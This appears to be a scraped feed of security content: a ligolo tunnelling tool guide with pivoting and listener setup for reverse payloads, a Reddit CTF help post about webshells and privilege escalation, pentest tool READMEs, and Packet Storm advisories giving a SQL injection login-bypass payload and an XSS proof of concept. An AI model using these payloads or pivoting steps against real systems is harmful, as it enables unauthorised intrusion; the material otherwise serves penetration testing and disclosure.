$ sudo ip route add 192.168.0.0/24 dev ligolo

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[…]
$ rdesktop 192.168.0.123
[…]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server

[Agent : nchatelain@nworkstation] » listener_add –addr 0.0.0.0:1234 –to 127.0.0.1:4321 –tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

Does It Require Administrator/Root Access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported Protocols/Packets

* TCP
* UDP
* ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it’s not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.


Download

CTF Help need iis_webdav Credentials cracked
https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/

<!-- SC_OFF -->Hey Guys i'm sitting in front of a CTF Lab and i'm stucking for a few days. the Flag is to get the NTLM hash of the Administrator FACTS: - Windows Server 2019
- Port 80 open
- webdav Directory
- cracked credentials of 2 Users (User1 and Administrator)
- uploaded Webshell to webdav directory
- Webshell is running as IIS_AppPool User
- tried metasploit iis_webdav with Credentials of User1 and Administrator (different payloads) always ERROR 500
- created a meterpreter session with uploaded exe started over the webshell NEED: - i need a way to escalate my Privileges to the Administrator User (credentials available)
- tried with some fany runas commands without success ​ what could i try to get the flag? <!-- SC_ON --> submitted by /u/dontask4name (https://www.reddit.com/user/dontask4name)
[link] (https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/) [comments] (https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/)

hacking: security in practice
Unauthenticated Remote Code Execution in Motorola Baby Monitors

https://external-preview.redd.it/F-aH-QJrfQ6F9VzHvKVf-mWOh-49aWyoC-xvVvPCdGs.jpg?width=640&crop=smart&auto=webp&s=db1120cced3721cf95accea8af10363aade65a2f submitted by /u/pinpepnet
[link] [comments]

Hacking on Medium
Hacking the Quick Response code


When you’re a home automation junkie 🤓 like me, you’ve probably scanned a product or two. QR codes makes your home automation life easier…

Continue reading on Medium »

https://b.thumbs.redditmedia.com/VDG7_Aeffe17ovcoKJSPeADd743EKtKTA8bvAQ3G9vY.jpg I had installed chaosvpn however I have no idea what to mail. The mailing -info is given in ubuntu request to in the chaosvpn website but I couldn't interpret it.

​

Its my ubuntu vmware

submitted by /u/VortexFlickens
[link] [comments]

hacking: security in practice
What is the relationship between Matrices and Arrays?

I understand what Matrices are and how they're used but I don't know too much about arrays.

submitted by /u/TuneAway
[link] [comments]

hacking: security in practice
What's your host operating system?

i've been a guy who wants a stable os on host system that just works while i can pretty much do anything in a virtual machine without the fear of breaking my system.

elite linux users would hate me using "just works".

View Poll

submitted by /u/ixceyfa1con
[link] [comments]

hacking: security in practice
I can't tell if this is really stupid or actually smart

Lots of forms have certain requirements for passwords (length, inclusion of certain characters, etc) but that doesn't stop people from sharing passwords. I think if websites said "We recommend using a password that is an embarrassing truth about yourself"

The effect of this would be longer passwords which are more difficult to bruteforce and no-one would share their password if it was something like "IregularlywetthebeduntilIwas15" or something like that.

Downside is if the password does get leaked it's more embarrassing

submitted by /u/doubleredacted
[link] [comments]

Hacking on Medium
Update Your Apple Devices to Guard Against Pegasus Spyware Attacks


By NSI Visiting Fellow Sam Curry

Continue reading on The SCIF »

Kali Linux TutorialsReg1c1de : Registry Permission Scanner For Finding Potential Privesc Avenues Within Registry
Reg1c1de is a tool that scans specified registry hives and reports on any keys where the user has write permissions In addition, if any registry values are found that contain file paths with certain file extensions and they are writeable, these will be reported as well.

More information on this tool and it’s use can be found in the related github.io article: here

Help output:

++++++++++++++Reg1c1de++++++++++++++++
+author: @deadjakk | http://shell.rip+
++++++++++++++++++++++++++++++++++++++
Description:
Reg1c1de is a tool that scans specified registry hives and reports on any keys where the user has write permissions
In addition, if any registry values are found that contain file paths with certain file extensions and they are writeable, these will be reported as well.
These keys should be investigated further as they could potentially lead to a path to privilege escalation or other evil
Arguments: (THESE ARE ALL OPTIONAL!)
-h show this help message
-vv enable debug output (more verbose)
-e scan the entire specified hive, this is disabled by default
-o filename to write the vulnerable keys to csv, example -o=filename
-k base key to enumerate from under the hive, default=Software, example -k=Software
-df disables writeable file checking, in case you don’t want to make thousands of access denied file open attempts
-r four letter shorthand of the root hive to enumerate from, default=HKLM, example -r=HKLM
Acceptable values are: HKCU, HKLM, HKCR, HKCC, HKU
-writetests enabling this flag will enable write tests, which will write a dummy registry key and value to every discovered instance of write access to a key.
I DO NOT recommend using this, especially if you cannot make a registry backup, nevertheless it is here.
Example Usage:
Reg1c1de.exe -v -o=outputfile -r=HKLM -e


Download

On-The-Fly - Tool Which Gives Capabilities To Perform Pentesting Tests In Several Domains (IoT, ICS & IT)

▒█████ ███▄ █ ▄▄▄█████▓ ██░ ██ ▓█████ █████ ██▓ ▓██ ██▓▒██▒ ██▒ ██ ▀█ █ ▓ ██▒ ▓▒▒▓██░ ██ ▓█ ▀ ▓██ ▓██▒ ▒██ ██▒▒██░ ██▒▓██ ▀█ ██▒ ▒ ▓██░ ▒░░▒██▀▀██ ▒███ ▒████ ▒██░ ▒██ ██░▒██ ██░▓██▒ ▐▌██▒ ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▒ ▒██░ ░ ▐██▓░░ ████▓▒░▒██░ ▓██░ ▒██▒ ░ ░▓█▒░██▓▒░▒████ ▒░▒█░ ▒░██████ ░ ██▒▓░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒ ░░ ▒ ░░▒░▒░░░ ▒░ ░ ▒ ░ ░░ ▒░▓ ██▒▒▒ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ▒ ░▒░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ▓██ ░▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ Different technologies and paradigms are hyperconnected and offer advances to society. The usage of other technologies among these devices makes security uneven. When facing a pentest in any environment, one major factor is the network. The network interconnects the world of the Internet of Things, the world of industrial control systems, and information technology. This README introduces the 'on-the-fly' tool, which gives capabilities to perform pentesting tests in several domains (IoT, ICS & IT). It is an innovative tool by bringing together different worlds sharing a common factor: the network.Prerequisities'on-the-fly' was written in Python and made extensive use of Scapy and netfilterqueue. It is crucial to have Scapy in Python and netfilterqueue installed with a compatible version of Python. For this, a version of Python 3 up to Python version 3.7.5 is recommended (and no higher, as there may be incompatibilities with 3.8 and 3.9 in some libraries that it uses 'on-the-fly'). There is a requirements.txt file that must be executed the first time the tool is launched using 'pip install -r requirements.txt'. Again the pip version must be oriented to a Python 3 version up to 3.7.5.pip install -r requirements.txtUsagepython on-the-fly.pyExample videoson-the-fly: MySQL_manipulation Moduleon-the-fly: SSDP_fake Moduleon-the-fly: Proxy_socks4 Moduleon-the-fly: Port_forwarding Moduleon-the-fly: MDNS_Scan ModuleContactTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. WHENEVER YOU MAKE A CONTRIBUTION TO A REPOSITORY CONTAINING NOTICE OF A LICENSE, YOU LICENSE YOUR CONTRIBUTION UNDER THE SAME TERMS, AND YOU AGREE THAT YOU HAVE THE RIGHT TO LICENSE YOUR CONTRIBUTION UNDER THOSE TERMS. IF YOU HAVE A SEPARATE AGREEMENT TO LICENSE YOUR CONTRIBUTIONS UNDER DIFFERENT TERMS, SUCH AS A CONTRIBUTOR LICENSE AGREEMENT, THAT AGREEMENT WILL SUPERSEDE.This software doesn't have a QA Process. This software is a Proof of Concept.If you have any problems, you can contact:ideaslocas@telefonica.comDownload On-The-Fly
Read more...

On-The-Fly - Tool Which Gives Capabilities To Perform Pentesting Tests In Several Domains (IoT, ICS & IT)
http://www.kitploit.com/2021/09/on-fly-tool-which-gives-capabilities-to.html

▒█████ ███▄ █ ▄▄▄█████▓ ██░ ██ ▓█████ █████ ██▓ ▓██ ██▓
▒██▒ ██▒ ██ ▀█ █ ▓ ██▒ ▓▒▒▓██░ ██ ▓█ ▀ ▓██ ▓██▒ ▒██ ██▒
▒██░ ██▒▓██ ▀█ ██▒ ▒ ▓██░ ▒░░▒██▀▀██ ▒███ ▒████ ▒██░ ▒██ ██░
▒██ ██░▓██▒ ▐▌██▒ ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▒ ▒██░ ░ ▐██▓░
░ ████▓▒░▒██░ ▓██░ ▒██▒ ░ ░▓█▒░██▓▒░▒████ ▒░▒█░ ▒░██████ ░ ██▒▓░
░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒ ░░ ▒ ░░▒░▒░░░ ▒░ ░ ▒ ░ ░░ ▒░▓ ██▒▒▒
░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ▒ ░▒░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ▓██ ░▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░

Different technologies and paradigms are hyperconnected and offer advances to society. The usage of other technologies among these devices makes security uneven. When facing a pentest (https://www.kitploit.com/search/label/Pentest) in any environment, one major factor is the network. The network interconnects the world of the Internet of Things, the world of industrial control systems, and information technology. This README introduces the 'on-the-fly' tool, which gives capabilities to perform pentesting (https://www.kitploit.com/search/label/Pentesting) tests in several domains (IoT, ICS & IT). It is an innovative tool by bringing together different worlds sharing a common factor: the network.
Prerequisities
'on-the-fly' was written in Python and made extensive use of Scapy (https://www.kitploit.com/search/label/Scapy) and netfilterqueue. It is crucial to have Scapy in Python and netfilterqueue installed with a compatible version of Python. For this, a version of Python 3 (https://www.kitploit.com/search/label/Python%203) up to Python version 3.7.5 is recommended (and no higher, as there may be incompatibilities with 3.8 and 3.9 in some libraries that it uses 'on-the-fly'). There is a requirements.txt file that must be executed the first time the tool is launched using 'pip install -r requirements.txt'. Again the pip version must be oriented to a Python 3 version up to 3.7.5.pip install -r requirements.txt

Usage
python on-the-fly.py

Example videos

on-the-fly: MySQL_manipulation Module
on-the-fly: SSDP_fake Module
on-the-fly: Proxy_socks4 Module
on-the-fly: Port_forwarding Module
on-the-fly: MDNS_Scan Module
Contact
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. WHENEVER YOU MAKE A CONTRIBUTION TO A REPOSITORY CONTAINING NOTICE OF A LICENSE, YOU LICENSE YOUR CONTRIBUTION UNDER THE SAME TERMS, AND YOU AGREE THAT YOU HAVE THE RIGHT TO LICENSE YOUR CONTRIBUTION UNDER THOSE TERMS. IF YOU HAVE A SEPARATE AGREEMENT TO LICENSE YOUR CONTRIBUTIONS UNDER DIFFERENT TERMS, SUCH AS A CONTRIBUTOR LICENSE AGREEMENT, THAT AGREEMENT WILL SUPERSEDE.This software doesn't have a QA Process. This software is a Proof of Concept.If you have any problems, you can contact:ideaslocas@telefonica.com (mailto:ideaslocas@telefonica.com)

Download On-The-Fly (https://github.com/Telefonica/on-the-fly)

Exploit CollectorSimple Attendance System 1.0 SQL Injection


Simple Attendance System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | e095fbb19fec3f896a193398a75dacad

Download



# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: September 17, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Simple Attendance System, is prone to multiple vulnerabilities.
Easy authentication bypass vulnerability on the application
allowing the attacker to login


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/attendance/login.php

Username: admin' or ''=' -- -+
Password: admin' or ''=' -- -+


----- PoC-2: Authentication Bypass -----

Steps:
1. Enter wrong crendentials http://localhost/attendance/login.php
2. Capture the request in burp and send it to repeater.
3. Forward the request.
4. In response tab, replace :
{"status":"failed","msg":"Invalid username or password."}
with
{"status":"success","msg":"Login successfully."}




Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cloudron 6.2 Cross Site Scripting


Cloudron version 6.2 suffers from a cross site scripting vulnerability.

MD5 | c00528f7f6eb16cf927d4aff14fb5ee8

Download



# Exploit Title: Cloudron 6.2 - Cross Site Scripting (Reflected)
# Google Dork: N/A
# Date: 10.06.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://cloudron.io
# Software Link: https://www.cloudron.io/get.html
# Version: 6.3 >
# Tested on: Demo / Localhost
# CVE : CVE-2021-31721

Proof of Concept:

1. Go to https://my.demo.cloudron.io/login.html?returnTo=


2. Type your payload after returnTo=

3. Fill in the login information and press the sign in button.



Source:packetstormsecurity.com